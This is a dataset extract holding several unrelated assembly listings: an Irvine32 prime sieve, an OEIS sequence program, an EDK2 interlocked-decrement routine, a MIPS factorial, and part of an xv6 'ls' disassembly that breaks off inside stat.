text
stringlengths
1
1.05M
INCLUDE Irvine32.inc INCLUDE Macros.inc .data count DWORD 1 multiple DWORD 3 oddarray DWORD 32500 DUP(?) prime DWORD 6494 DUP(?) string1 BYTE " This program prints primess up to 65000",0 time DWORD ? .code main PROC mov ecx, [LENGTHOF oddarray]-1 mov esi, OFFSET oddarray mWriteString string1 call crlf call getmseconds mov time, eax call fillarray call getmseconds sub eax, time call writedec call crlf exit main endp ;========================================= fillarray PROC USES ecx esi mov eax, 2 mov [esi], eax add esi, TYPE oddarray add eax, 1 mov [esi], eax l1: add esi, TYPE oddarray add eax, 2 mov [esi], eax loop l1 call findprime ret fillarray endp ;=========================================== findprime PROC mov esi, OFFSET oddarray mov edi, OFFSET PRIME mov eax, [esi] mov [edi], eax label1: cmp eax, 7 je filterMultiples add esi, TYPE oddarray add edi, TYPE prime mov eax, [esi] mov [edi], eax jmp label1 filterMultiples: mov ecx, 3 mov multiple, ecx add esi, TYPE oddarray mov eax, [esi] cmp eax, 64997 jg ex call eliminate jz filterMultiples add multiple, 2 checkNext: mov eax, [esi] cmp eax, multiple je storePrime call eliminate jz filterMultiples add multiple, 2 jnz checknext StorePrime: add edi, TYPE prime mov eax, [esi] mov [edi], eax jmp filterMultiples ex: call print ret findprime endp ;============================================ eliminate PROC xor edx, edx mov eax, [esi] mov ecx, multiple div ecx cmp edx, 0 ret eliminate endp ;============================================== print PROC mov edi, OFFSET prime mov ecx, [LENGTHOF prime] - 1 mov ebx, count l1: mov eax, [edi] call writedec call space add edi, TYPE prime cmp ebx, 12 jge newLine inc ebx lp: cmp ecx, 1 je exits loop l1 newLine: call crlf sub ebx, 11 jmp lp exits: call crlf ret print endp ;============================== space PROC mov al, 9 call writechar ret space endp end main
; A303304: Generalized 25-gonal (or icosipentagonal) numbers: m*(23*m - 21)/2 with m = 0, +1, -1, +2, -2, +3, -3, ... ; 0,1,22,25,67,72,135,142,226,235,340,351,477,490,637,652,820,837,1026,1045,1255,1276,1507,1530,1782,1807,2080,2107,2401,2430,2745,2776,3112,3145,3502,3537,3915,3952,4351,4390,4810,4851,5292,5335,5797,5842,6325,6372,6876,6925,7450,7501,8047,8100,8667,8722,9310,9367,9976,10035,10665,10726,11377,11440,12112,12177,12870,12937,13651,13720,14455,14526,15282,15355,16132,16207,17005,17082,17901,17980,18820,18901,19762,19845,20727,20812,21715,21802,22726,22815,23760,23851,24817,24910,25897,25992,27000,27097,28126,28225,29275,29376,30447,30550,31642,31747,32860,32967,34101,34210,35365,35476,36652,36765,37962,38077,39295,39412,40651,40770,42030,42151,43432,43555,44857,44982,46305,46432,47776,47905,49270,49401,50787,50920,52327,52462,53890,54027,55476,55615,57085,57226,58717,58860,60372,60517,62050,62197,63751,63900,65475,65626,67222,67375,68992,69147,70785,70942,72601,72760,74440,74601,76302,76465,78187,78352,80095,80262,82026,82195,83980,84151,85957,86130,87957,88132,89980,90157,92026,92205,94095,94276,96187,96370,98302,98487,100440,100627,102601,102790,104785,104976,106992,107185,109222,109417,111475,111672,113751,113950,116050,116251,118372,118575,120717,120922,123085,123292,125476,125685,127890,128101,130327,130540,132787,133002,135270,135487,137776,137995,140305,140526,142857,143080,145432,145657,148030,148257,150651,150880,153295,153526,155962,156195,158652,158887,161365,161602,164101,164340,166860,167101,169642,169885,172447,172692,175275,175522,178126,178375 mov $5,$0 mov $7,$0 lpb $5,1 mov $0,$7 sub $5,1 sub $0,$5 cmp $2,$0 div $2,2 add $2,5 mov $6,10 mov $8,$0 gcd $8,2 mul $8,2 pow $8,3 div $8,3 mul $6,$8 mul $6,$0 mov $3,$6 div $3,2 mul $3,$2 mov $4,$3 div $4,50 add $1,$4 lpe
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006 - 2016, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; InterlockedDecrement.Asm ; ; Abstract: ; ; InterlockedDecrement function ; ; Notes: ; ;------------------------------------------------------------------------------ DEFAULT REL SECTION .text ;------------------------------------------------------------------------------ ; UINT32 ; EFIAPI ; InternalSyncDecrement ( ; IN volatile UINT32 *Value ; ); ;------------------------------------------------------------------------------ global ASM_PFX(InternalSyncDecrement) ASM_PFX(InternalSyncDecrement): lock dec dword [rcx] mov eax, [rcx] ret
# program1.asm # Nathalie Tate # Recursively computes the factorial of a number .data prompt: .asciiz "Enter a number: " result: .asciiz "The factorial is: " number: .word 4 answer: .word 4 .text main: li $v0, 4 #display prompt la $a0, prompt syscall li $v0, 5 #ask for input syscall sw $v0, number #store number in memory #call the factorial lw $a0,number jal factorial sw $v0, answer #store the answer in memory li $v0,4 #display the result la $a0,result syscall li $v0,1 #print answer lw $a0, answer syscall li $v0, 10 #exit syscall factorial: addi $sp,$sp,-8 #decrement stack pointer twice sw $ra, 0($sp) #store the return address on the stack sw $s0, 4($sp) #store $s0 on the stack li $v0,1 #recursive base case beq $a0, 0 factorialStop #fact(n-1) move $s0, $a0 addi $a0, $a0, -1 jal factorial mult $s0,$v0 mflo $v0 factorialStop: lw $ra, 0($sp) #pop return address off stack lw $s0, 4($sp) #pop $s0 off stack addi $sp, $sp, 8 #reset stack pointer jr $ra #return to procedure call
_ls: file format elf32-i386 Disassembly of section .text: 00001000 <main>: close(fd); } int main(int argc, char *argv[]) { 1000: 8d 4c 24 04 lea 0x4(%esp),%ecx 1004: 83 e4 f0 and $0xfffffff0,%esp 1007: ff 71 fc pushl -0x4(%ecx) 100a: 55 push %ebp 100b: 89 e5 mov %esp,%ebp 100d: 57 push %edi 100e: 56 push %esi 100f: 53 push %ebx 1010: 51 push %ecx 1011: bb 01 00 00 00 mov $0x1,%ebx 1016: 83 ec 08 sub $0x8,%esp 1019: 8b 31 mov (%ecx),%esi 101b: 8b 79 04 mov 0x4(%ecx),%edi int i; if(argc < 2){ 101e: 83 fe 01 cmp $0x1,%esi 1021: 7e 1f jle 1042 <main+0x42> 1023: 90 nop 1024: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi ls("."); exit(); } for(i=1; i<argc; i++) ls(argv[i]); 1028: 83 ec 0c sub $0xc,%esp 102b: ff 34 9f pushl (%edi,%ebx,4) if(argc < 2){ ls("."); exit(); } for(i=1; i<argc; i++) 102e: 83 c3 01 add $0x1,%ebx ls(argv[i]); 1031: e8 ca 00 00 00 call 1100 <ls> if(argc < 2){ ls("."); exit(); } for(i=1; i<argc; i++) 1036: 83 c4 10 add $0x10,%esp 1039: 39 de cmp %ebx,%esi 103b: 75 eb jne 1028 <main+0x28> ls(argv[i]); exit(); 103d: e8 40 05 00 00 call 1582 <exit> main(int argc, char *argv[]) { int i; if(argc < 2){ ls("."); 1042: 83 ec 0c sub $0xc,%esp 1045: 68 48 1a 00 00 push $0x1a48 104a: e8 b1 00 00 00 call 1100 <ls> exit(); 104f: e8 2e 05 00 00 call 1582 <exit> 1054: 66 90 xchg %ax,%ax 1056: 66 90 xchg %ax,%ax 1058: 66 90 xchg %ax,%ax 105a: 66 90 xchg %ax,%ax 105c: 66 90 xchg %ax,%ax 105e: 66 90 xchg %ax,%ax 00001060 <fmtname>: #include "user.h" #include "fs.h" char* fmtname(char *path) { 1060: 55 push %ebp 1061: 89 e5 mov %esp,%ebp 1063: 56 push %esi 1064: 53 push %ebx 1065: 8b 5d 08 mov 0x8(%ebp),%ebx static char buf[DIRSIZ+1]; char *p; // Find first character after last slash. for(p=path+strlen(path); p >= path && *p != '/'; p--) 1068: 83 ec 0c sub $0xc,%esp 106b: 53 push %ebx 106c: e8 4f 03 00 00 call 13c0 <strlen> 1071: 83 c4 10 add $0x10,%esp 1074: 01 d8 add %ebx,%eax 1076: 73 0f jae 1087 <fmtname+0x27> 1078: eb 12 jmp 108c <fmtname+0x2c> 107a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1080: 83 e8 01 sub $0x1,%eax 1083: 39 c3 cmp %eax,%ebx 1085: 77 05 ja 108c <fmtname+0x2c> 1087: 80 38 2f cmpb $0x2f,(%eax) 108a: 75 f4 jne 1080 <fmtname+0x20> ; p++; 108c: 8d 58 01 lea 0x1(%eax),%ebx // Return blank-padded name. if(strlen(p) >= DIRSIZ) 108f: 83 ec 0c sub $0xc,%esp 1092: 53 push %ebx 1093: e8 28 03 00 00 call 13c0 <strlen> 1098: 83 c4 10 add $0x10,%esp 109b: 83 f8 0d cmp $0xd,%eax 109e: 77 4a ja 10ea <fmtname+0x8a> return p; memmove(buf, p, strlen(p)); 10a0: 83 ec 0c sub $0xc,%esp 10a3: 53 push %ebx 10a4: e8 17 03 00 00 call 13c0 <strlen> 10a9: 83 c4 0c add $0xc,%esp 10ac: 50 push %eax 10ad: 53 push %ebx 10ae: 68 60 1d 00 00 push $0x1d60 10b3: e8 98 04 00 00 call 1550 <memmove> memset(buf+strlen(p), ' ', DIRSIZ-strlen(p)); 10b8: 89 1c 24 mov %ebx,(%esp) 10bb: e8 00 03 00 00 call 13c0 <strlen> 10c0: 89 1c 24 mov %ebx,(%esp) 10c3: 89 c6 mov %eax,%esi return buf; 10c5: bb 60 1d 00 00 mov $0x1d60,%ebx // Return blank-padded name. if(strlen(p) >= DIRSIZ) return p; memmove(buf, p, strlen(p)); memset(buf+strlen(p), ' ', DIRSIZ-strlen(p)); 10ca: e8 f1 02 00 00 call 13c0 <strlen> 10cf: ba 0e 00 00 00 mov $0xe,%edx 10d4: 83 c4 0c add $0xc,%esp 10d7: 05 60 1d 00 00 add $0x1d60,%eax 10dc: 29 f2 sub %esi,%edx 10de: 52 push %edx 10df: 6a 20 push $0x20 10e1: 50 push %eax 10e2: e8 09 03 00 00 call 13f0 <memset> return buf; 10e7: 83 c4 10 add $0x10,%esp } 10ea: 8d 65 f8 lea -0x8(%ebp),%esp 10ed: 89 d8 mov %ebx,%eax 10ef: 5b pop %ebx 10f0: 5e pop %esi 10f1: 5d pop %ebp 10f2: c3 ret 10f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 10f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00001100 <ls>: void ls(char *path) { 1100: 55 push %ebp 1101: 89 e5 mov %esp,%ebp 1103: 57 push %edi 1104: 56 push %esi 1105: 53 push %ebx 1106: 81 ec 64 02 00 00 sub $0x264,%esp 110c: 8b 7d 08 mov 0x8(%ebp),%edi char buf[512], *p; int fd; struct dirent de; struct stat st; if((fd = open(path, 0)) < 0){ 110f: 6a 00 push $0x0 1111: 57 push %edi 1112: e8 ab 04 00 00 call 15c2 <open> 1117: 83 c4 10 add $0x10,%esp 111a: 85 c0 test %eax,%eax 111c: 0f 88 9e 01 00 00 js 12c0 <ls+0x1c0> printf(2, "ls: cannot open %s\n", path); return; } if(fstat(fd, &st) < 0){ 1122: 8d b5 d4 fd ff ff lea -0x22c(%ebp),%esi 1128: 83 ec 08 sub $0x8,%esp 112b: 89 c3 mov %eax,%ebx 112d: 56 push %esi 112e: 50 push %eax 112f: e8 a6 04 00 00 call 15da <fstat> 1134: 83 c4 10 add $0x10,%esp 1137: 85 c0 test %eax,%eax 1139: 0f 88 c1 01 00 00 js 1300 <ls+0x200> printf(2, "ls: cannot stat %s\n", path); close(fd); return; } switch(st.type){ 113f: 0f b7 85 d4 fd ff ff movzwl -0x22c(%ebp),%eax 1146: 66 83 f8 01 cmp $0x1,%ax 114a: 74 54 je 11a0 <ls+0xa0> 114c: 66 83 f8 02 cmp $0x2,%ax 1150: 75 37 jne 1189 <ls+0x89> case T_FILE: printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size); 1152: 83 ec 0c sub $0xc,%esp 1155: 8b 95 e4 fd ff ff mov -0x21c(%ebp),%edx 115b: 8b b5 dc fd ff ff mov -0x224(%ebp),%esi 1161: 57 push %edi 1162: 89 95 b4 fd ff ff mov %edx,-0x24c(%ebp) 1168: e8 f3 fe ff ff call 1060 <fmtname> 116d: 8b 95 b4 fd ff ff mov -0x24c(%ebp),%edx 1173: 59 pop %ecx 1174: 5f pop %edi 1175: 52 push %edx 1176: 56 push %esi 1177: 6a 02 push $0x2 1179: 50 push %eax 117a: 68 28 1a 00 00 push $0x1a28 117f: 6a 01 push $0x1 1181: e8 5a 05 00 00 call 16e0 <printf> break; 1186: 83 c4 20 add $0x20,%esp } printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size); } break; } close(fd); 1189: 83 ec 0c sub $0xc,%esp 118c: 53 push %ebx 118d: e8 18 04 00 00 call 15aa <close> 1192: 83 c4 10 add $0x10,%esp } 1195: 8d 65 f4 lea -0xc(%ebp),%esp 1198: 5b pop %ebx 1199: 5e pop %esi 119a: 5f pop %edi 119b: 5d pop %ebp 119c: c3 ret 119d: 8d 76 00 lea 0x0(%esi),%esi case T_FILE: printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size); break; case T_DIR: if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){ 11a0: 83 ec 0c sub $0xc,%esp 11a3: 57 push %edi 11a4: e8 17 02 00 00 call 13c0 <strlen> 11a9: 83 c0 10 add $0x10,%eax 11ac: 83 c4 10 add $0x10,%esp 11af: 3d 00 02 00 00 cmp $0x200,%eax 11b4: 0f 87 26 01 00 00 ja 12e0 <ls+0x1e0> printf(1, "ls: path too long\n"); break; } strcpy(buf, path); 11ba: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax 11c0: 83 ec 08 sub $0x8,%esp 11c3: 57 push %edi 11c4: 8d bd c4 fd ff ff lea -0x23c(%ebp),%edi 11ca: 50 push %eax 11cb: e8 70 01 00 00 call 1340 <strcpy> p = buf+strlen(buf); 11d0: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax 11d6: 89 04 24 mov %eax,(%esp) 11d9: e8 e2 01 00 00 call 13c0 <strlen> 11de: 8d 95 e8 fd ff ff lea -0x218(%ebp),%edx *p++ = '/'; while(read(fd, &de, sizeof(de)) == sizeof(de)){ 11e4: 83 c4 10 add $0x10,%esp if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){ printf(1, "ls: path too long\n"); break; } strcpy(buf, path); p = buf+strlen(buf); 11e7: 8d 0c 02 lea (%edx,%eax,1),%ecx *p++ = '/'; 11ea: 8d 84 05 e9 fd ff ff lea -0x217(%ebp,%eax,1),%eax if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){ printf(1, "ls: path too long\n"); break; } strcpy(buf, path); p = buf+strlen(buf); 11f1: 89 8d a8 fd ff ff mov %ecx,-0x258(%ebp) *p++ = '/'; 11f7: 89 85 a4 fd ff ff mov %eax,-0x25c(%ebp) 11fd: c6 01 2f movb $0x2f,(%ecx) while(read(fd, &de, sizeof(de)) == sizeof(de)){ 1200: 83 ec 04 sub $0x4,%esp 1203: 6a 10 push $0x10 1205: 57 push %edi 1206: 53 push %ebx 1207: e8 8e 03 00 00 call 159a <read> 120c: 83 c4 10 add $0x10,%esp 120f: 83 f8 10 cmp $0x10,%eax 1212: 0f 85 71 ff ff ff jne 1189 <ls+0x89> if(de.inum == 0) 1218: 66 83 bd c4 fd ff ff cmpw $0x0,-0x23c(%ebp) 121f: 00 1220: 74 de je 1200 <ls+0x100> continue; memmove(p, de.name, DIRSIZ); 1222: 8d 85 c6 fd ff ff lea -0x23a(%ebp),%eax 1228: 83 ec 04 sub $0x4,%esp 122b: 6a 0e push $0xe 122d: 50 push %eax 122e: ff b5 a4 fd ff ff pushl -0x25c(%ebp) 1234: e8 17 03 00 00 call 1550 <memmove> p[DIRSIZ] = 0; 1239: 8b 85 a8 fd ff ff mov -0x258(%ebp),%eax 123f: c6 40 0f 00 movb $0x0,0xf(%eax) if(stat(buf, &st) < 0){ 1243: 58 pop %eax 1244: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax 124a: 5a pop %edx 124b: 56 push %esi 124c: 50 push %eax 124d: e8 6e 02 00 00 call 14c0 <stat> 1252: 83 c4 10 add $0x10,%esp 1255: 85 c0 test %eax,%eax 1257: 0f 88 c3 00 00 00 js 1320 <ls+0x220> printf(1, "ls: cannot stat %s\n", buf); continue; } printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size); 125d: 8b 8d e4 fd ff ff mov -0x21c(%ebp),%ecx 1263: 0f bf 85 d4 fd ff ff movswl -0x22c(%ebp),%eax 126a: 83 ec 0c sub $0xc,%esp 126d: 8b 95 dc fd ff ff mov -0x224(%ebp),%edx 1273: 89 8d ac fd ff ff mov %ecx,-0x254(%ebp) 1279: 8d 8d e8 fd ff ff lea -0x218(%ebp),%ecx 127f: 89 95 b0 fd ff ff mov %edx,-0x250(%ebp) 1285: 89 85 b4 fd ff ff mov %eax,-0x24c(%ebp) 128b: 51 push %ecx 128c: e8 cf fd ff ff call 1060 <fmtname> 1291: 5a pop %edx 1292: 8b 95 b0 fd ff ff mov -0x250(%ebp),%edx 1298: 59 pop %ecx 1299: 8b 8d ac fd ff ff mov -0x254(%ebp),%ecx 129f: 51 push %ecx 12a0: 52 push %edx 12a1: ff b5 b4 fd ff ff pushl -0x24c(%ebp) 12a7: 50 push %eax 12a8: 68 28 1a 00 00 push $0x1a28 12ad: 6a 01 push $0x1 12af: e8 2c 04 00 00 call 16e0 <printf> 12b4: 83 c4 20 add $0x20,%esp 12b7: e9 44 ff ff ff jmp 1200 <ls+0x100> 12bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int fd; struct dirent de; struct stat st; if((fd = open(path, 0)) < 0){ printf(2, "ls: cannot open %s\n", path); 12c0: 83 ec 04 sub $0x4,%esp 12c3: 57 push %edi 12c4: 68 00 1a 00 00 push $0x1a00 12c9: 6a 02 push $0x2 12cb: e8 10 04 00 00 call 16e0 <printf> return; 12d0: 83 c4 10 add $0x10,%esp printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size); } break; } close(fd); } 12d3: 8d 65 f4 lea -0xc(%ebp),%esp 12d6: 5b pop %ebx 12d7: 5e pop %esi 12d8: 5f pop %edi 12d9: 5d pop %ebp 12da: c3 ret 12db: 90 nop 12dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size); break; case T_DIR: if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){ printf(1, "ls: path too long\n"); 12e0: 83 ec 08 sub $0x8,%esp 12e3: 68 35 1a 00 00 push $0x1a35 12e8: 6a 01 push $0x1 12ea: e8 f1 03 00 00 call 16e0 <printf> break; 12ef: 83 c4 10 add $0x10,%esp 12f2: e9 92 fe ff ff jmp 1189 <ls+0x89> 12f7: 89 f6 mov %esi,%esi 12f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi printf(2, "ls: cannot open %s\n", path); return; } if(fstat(fd, &st) < 0){ printf(2, "ls: cannot stat %s\n", path); 1300: 83 ec 04 sub $0x4,%esp 1303: 57 push %edi 1304: 68 14 1a 00 00 push $0x1a14 1309: 6a 02 push $0x2 130b: e8 d0 03 00 00 call 16e0 <printf> close(fd); 1310: 89 1c 24 mov %ebx,(%esp) 1313: e8 92 02 00 00 call 15aa <close> return; 1318: 83 c4 10 add $0x10,%esp 131b: e9 75 fe ff ff jmp 1195 <ls+0x95> if(de.inum == 0) continue; memmove(p, de.name, DIRSIZ); p[DIRSIZ] = 0; if(stat(buf, &st) < 0){ printf(1, "ls: cannot stat %s\n", buf); 1320: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax 1326: 83 ec 04 sub $0x4,%esp 1329: 50 push %eax 132a: 68 14 1a 00 00 push $0x1a14 132f: 6a 01 push $0x1 1331: e8 aa 03 00 00 call 16e0 <printf> continue; 1336: 83 c4 10 add $0x10,%esp 1339: e9 c2 fe ff ff jmp 1200 <ls+0x100> 133e: 66 90 xchg %ax,%ax 00001340 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 1340: 55 push %ebp 1341: 89 e5 mov %esp,%ebp 1343: 53 push %ebx 1344: 8b 45 08 mov 0x8(%ebp),%eax 1347: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 134a: 89 c2 mov %eax,%edx 134c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1350: 83 c1 01 add $0x1,%ecx 1353: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 1357: 83 c2 01 add $0x1,%edx 135a: 84 db test %bl,%bl 135c: 88 5a ff mov %bl,-0x1(%edx) 135f: 75 ef jne 1350 <strcpy+0x10> ; return os; } 1361: 5b pop %ebx 1362: 5d pop %ebp 1363: c3 ret 1364: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 136a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00001370 <strcmp>: int strcmp(const char *p, const char *q) { 1370: 55 push %ebp 1371: 89 e5 mov %esp,%ebp 1373: 56 push %esi 1374: 53 push %ebx 1375: 8b 55 08 mov 0x8(%ebp),%edx 1378: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 137b: 0f b6 02 movzbl (%edx),%eax 137e: 0f b6 19 movzbl (%ecx),%ebx 1381: 84 c0 test %al,%al 1383: 75 1e jne 13a3 <strcmp+0x33> 1385: eb 29 jmp 13b0 <strcmp+0x40> 1387: 89 f6 mov %esi,%esi 1389: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 1390: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 1393: 0f b6 02 movzbl (%edx),%eax p++, q++; 1396: 8d 71 01 lea 0x1(%ecx),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 1399: 0f b6 59 01 movzbl 0x1(%ecx),%ebx 139d: 84 c0 test %al,%al 139f: 74 0f je 13b0 <strcmp+0x40> 13a1: 89 f1 mov %esi,%ecx 13a3: 38 d8 cmp %bl,%al 13a5: 74 e9 je 1390 <strcmp+0x20> p++, q++; return (uchar)*p - (uchar)*q; 13a7: 29 d8 sub %ebx,%eax } 13a9: 5b pop %ebx 13aa: 5e pop %esi 13ab: 5d pop %ebp 13ac: c3 ret 13ad: 8d 76 00 lea 0x0(%esi),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 13b0: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; 13b2: 29 d8 sub %ebx,%eax } 13b4: 5b pop %ebx 13b5: 5e pop %esi 13b6: 5d pop %ebp 13b7: c3 ret 13b8: 90 nop 13b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000013c0 <strlen>: uint strlen(char *s) { 13c0: 55 push %ebp 13c1: 89 e5 mov %esp,%ebp 13c3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 13c6: 80 39 00 cmpb $0x0,(%ecx) 13c9: 74 12 je 13dd <strlen+0x1d> 13cb: 31 d2 xor %edx,%edx 13cd: 8d 76 00 lea 0x0(%esi),%esi 13d0: 83 c2 01 add $0x1,%edx 13d3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 13d7: 89 d0 mov %edx,%eax 13d9: 75 f5 jne 13d0 <strlen+0x10> ; return n; } 13db: 5d pop %ebp 13dc: c3 ret uint strlen(char *s) { int n; for(n = 0; s[n]; n++) 13dd: 31 c0 xor %eax,%eax ; return n; } 13df: 5d pop %ebp 13e0: c3 ret 13e1: eb 0d jmp 13f0 <memset> 13e3: 90 nop 13e4: 90 nop 13e5: 90 nop 13e6: 90 nop 13e7: 90 nop 13e8: 90 nop 13e9: 90 nop 13ea: 90 nop 13eb: 90 nop 13ec: 90 nop 13ed: 90 nop 13ee: 90 nop 13ef: 90 nop 000013f0 <memset>: void* memset(void *dst, int c, uint n) { 13f0: 55 push %ebp 13f1: 89 e5 mov %esp,%ebp 13f3: 57 push %edi 13f4: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 13f7: 8b 4d 10 mov 0x10(%ebp),%ecx 13fa: 8b 45 0c mov 0xc(%ebp),%eax 13fd: 89 d7 mov %edx,%edi 13ff: fc cld 1400: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 1402: 89 d0 mov %edx,%eax 1404: 5f pop %edi 1405: 5d pop %ebp 1406: c3 ret 1407: 89 f6 mov %esi,%esi 1409: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00001410 <strchr>: char* strchr(const char *s, char c) { 1410: 55 push %ebp 1411: 89 e5 mov %esp,%ebp 1413: 53 push %ebx 1414: 8b 45 08 mov 0x8(%ebp),%eax 1417: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 141a: 0f b6 10 movzbl (%eax),%edx 141d: 84 d2 test %dl,%dl 141f: 74 1d je 143e <strchr+0x2e> if(*s == c) 1421: 38 d3 cmp %dl,%bl 1423: 89 d9 mov %ebx,%ecx 1425: 75 0d jne 1434 <strchr+0x24> 1427: eb 17 jmp 1440 <strchr+0x30> 1429: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1430: 38 ca cmp %cl,%dl 1432: 74 0c je 1440 <strchr+0x30> } char* strchr(const char *s, char c) { for(; *s; s++) 1434: 83 c0 01 add $0x1,%eax 1437: 0f b6 10 movzbl (%eax),%edx 143a: 84 d2 test %dl,%dl 143c: 75 f2 jne 1430 <strchr+0x20> if(*s == c) return (char*)s; return 0; 143e: 31 c0 xor %eax,%eax } 1440: 5b pop %ebx 1441: 5d pop %ebp 1442: c3 ret 1443: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1449: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00001450 <gets>: char* gets(char *buf, int max) { 1450: 55 push %ebp 1451: 89 e5 mov %esp,%ebp 1453: 57 push %edi 1454: 56 push %esi 1455: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 1456: 31 f6 xor %esi,%esi cc = read(0, &c, 1); 1458: 8d 7d e7 lea -0x19(%ebp),%edi return 0; } char* gets(char *buf, int max) { 145b: 83 ec 1c sub $0x1c,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 145e: eb 29 jmp 1489 <gets+0x39> cc = read(0, &c, 1); 1460: 83 ec 04 sub $0x4,%esp 1463: 6a 01 push $0x1 1465: 57 push %edi 1466: 6a 00 push $0x0 1468: e8 2d 01 00 00 call 159a <read> if(cc < 1) 146d: 83 c4 10 add $0x10,%esp 1470: 85 c0 test %eax,%eax 1472: 7e 1d jle 1491 <gets+0x41> break; buf[i++] = c; 1474: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 1478: 8b 55 08 mov 0x8(%ebp),%edx 147b: 89 de mov %ebx,%esi if(c == '\n' || c == '\r') 147d: 3c 0a cmp $0xa,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 147f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 1483: 74 1b je 14a0 <gets+0x50> 1485: 3c 0d cmp $0xd,%al 1487: 74 17 je 14a0 <gets+0x50> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1489: 8d 5e 01 lea 0x1(%esi),%ebx 148c: 3b 5d 0c cmp 0xc(%ebp),%ebx 148f: 7c cf jl 1460 <gets+0x10> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1491: 8b 45 08 mov 0x8(%ebp),%eax 1494: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 1498: 8d 65 f4 lea -0xc(%ebp),%esp 149b: 5b pop %ebx 149c: 5e pop %esi 149d: 5f pop %edi 149e: 5d pop %ebp 149f: c3 ret break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 14a0: 8b 45 08 mov 0x8(%ebp),%eax gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 14a3: 89 de mov %ebx,%esi break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 14a5: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 14a9: 8d 65 f4 lea -0xc(%ebp),%esp 14ac: 5b pop %ebx 14ad: 5e pop %esi 14ae: 5f pop %edi 14af: 5d pop %ebp 14b0: c3 ret 14b1: eb 0d jmp 14c0 <stat> 14b3: 90 nop 14b4: 90 nop 14b5: 90 nop 14b6: 90 nop 14b7: 90 nop 14b8: 90 nop 14b9: 90 nop 14ba: 90 nop 14bb: 90 nop 14bc: 90 nop 14bd: 90 nop 14be: 90 nop 14bf: 90 nop 000014c0 <stat>: int stat(char *n, struct stat *st) { 14c0: 55 push %ebp 14c1: 89 e5 mov %esp,%ebp 14c3: 56 push %esi 14c4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 14c5: 83 ec 08 sub $0x8,%esp 14c8: 6a 00 push $0x0 14ca: ff 75 08 pushl 0x8(%ebp) 14cd: e8 f0 00 00 00 call 15c2 <open> if(fd < 0) 14d2: 83 c4 10 add $0x10,%esp 14d5: 85 c0 test %eax,%eax 14d7: 78 27 js 1500 <stat+0x40> return -1; r = fstat(fd, st); 14d9: 83 ec 08 sub $0x8,%esp 14dc: ff 75 0c pushl 0xc(%ebp) 14df: 89 c3 mov %eax,%ebx 14e1: 50 push %eax 14e2: e8 f3 00 00 00 call 15da <fstat> 